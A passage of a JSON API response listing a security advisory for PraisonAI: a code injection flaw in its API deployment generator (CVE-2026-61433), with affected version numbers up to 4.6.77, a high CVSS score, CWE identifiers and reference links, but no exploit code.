2","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.128","4.5.129","4.5.13","4.5.130","4.5.131","4.5.132","4.5.133","4.5.134","4.5.135","4.5.136","4.5.137","4.5.139","4.5.14","4.5.140","4.5.143","4.5.144","4.5.145","4.5.149","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.18","4.6.19","4.6.20","4.6.21","4.6.22","4.6.23","4.6.24","4.6.25","4.6.26","4.6.27","4.6.28","4.6.29","4.6.30","4.6.31","4.6.32","4.6.33","4.6.34","4.6.35","4.6.36","4.6.37","4.6.38","4.6.39","4.6.40","4.6.41","4.6.42","4.6.43","4.6.44","4.6.45","4.6.46","4.6.47","4.6.48","4.6.50","4.6.51","4.6.52","4.6.53","4.6.54","4.6.55","4.6.56","4.6.57","4.6.58","4.6.59","4.6.60","4.6.62","4.6.63","4.6.64","4.6.65","4.6.67","4.6.68","4.6.70","4.6.71","4.6.72","4.6.74","4.6.75","4.6.77","4.6.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-79fv-7hq9-w7xg/GHSA-79fv-7hq9-w7xg.json","last_known_affected_version_range":"<= 4.6.77"}}],"modified":"2026-10-08T19:45:05.011561453Z","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"published":"2026-10-08T19:36:29Z","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg","type":"WEB"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61433","type":"ADVISORY"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62173","type":"ADVISORY"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0","type":"WEB"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"PACKAGE"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator","type":"WEB"}],"schema_version":"1.9.0","database_specific":{"cwe_ids":["CWE-116","CWE-94","CWE-95"],"severity":"HIGH","github_reviewed":true,"nvd_published_at":"2026-07-15T17:16:52Z","github_reviewed_at":"2026-10-08T19:36:29Z"}}}],"pagination":{"page":1,"limit":20,"total":1,"totalPages":1,"hasNext":false,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-08T23:13:54.033Z","durationMs":7,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":[],"cwe":[],"vendor":null,"product":null,"cve":"CVE-2026-61433","source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":["include"],"warnings":[]}}